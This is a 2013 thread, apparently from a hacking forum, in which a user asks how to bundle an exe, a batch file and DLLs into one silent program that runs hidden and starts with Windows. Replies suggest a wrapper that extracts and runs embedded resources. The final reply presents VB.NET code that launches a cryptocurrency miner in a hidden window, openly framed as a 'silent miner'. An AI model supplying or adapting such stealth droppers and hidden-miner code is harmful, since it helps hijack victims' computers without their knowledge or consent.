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Thread: [Put 2 Files together, add them to startup, make them silent HOW ?](#)

AskMyName - December 5, 2013, 12:19 pm

Heyo,

I got 2 mail files + 2 DLL's

The main files are 1 exe & 1 batch.

The exe mustnt be opened. Just the batch (the batch will start the exe with some commands)

All needs to get put together 1 one file, that if the file gets opened, the batch starts the exe in it & uses the DLL files.

Also the Features that it runs silent in background & starts with the pc needs to get added.

If you can do that, pls post here or PM me :)

Sc?rf?c3_ - December 5, 2013, 3:46 pm

Im not sure about a thing: "the batch starts the exe in it"

A .bat wich starts an exe in your stub?!? Btw i can help if you need...

TazzyOpz - December 5, 2013, 8:04 pm

Ok so create a third app... Take both of your currents apps put them in resources. Upon launching the app have it extract both of the files in resources to a destination on the computer and have it run the .bat first? Shouldn't be hard at all?

SIM-1456245 - December 5, 2013, 8:55 pm

So probably by what you are saying, you have an application that works with arguments and it uses two dll's and you call it via batch, correct ?

If that is true, than just call the app from a vb.net application and follow this tutorial by Madara-Uchina: <https://hackforums.net/showthread.php?tid=3762223> to hide the dll's in the application along with the exe.

jj89XD - December 5, 2013, 11:13 pm

Are you paying for someone to code this?

If you are send me a pm :)

PitLord - December 6, 2013, 1:23 pm

So the first thing you can do is get rid of that .bat and just use vb to run it with arguments, It seems like you are trying to make a silent miner so I'll use one of my old ones for an example.

```
Code Dim startInfo As New ProcessStartInfo("C:\PathToYourFile\Miner.exe")
```

```
startInfo.Arguments = "-o http://www.SomeRandomPool.com:PORT/ -O Username:Password"
```

Then if you wanted the window to not show up when it is launched you would but this bit in:

```
Code startInfo.WindowStyle = ProcessWindowStyle.Hidden
```

Then put this somewhere to launch the actual .exe:

```
Code Process.Start(startInfo)
```

Now your code should look something like this:

```
Code Dim startInfo As New ProcessStartInfo("C:\PathToYourFile\Miner.exe")
```

```
startInfo.Arguments = "-o http://www.SomeRandomPool.com:PORT/ -O Username:Password"  
startInfo.WindowStyle = ProcessWindowStyle.Hidden  
Process.Start(startInfo)
```

(This is using CudaMiner by the way so the arguments might be different for different miners)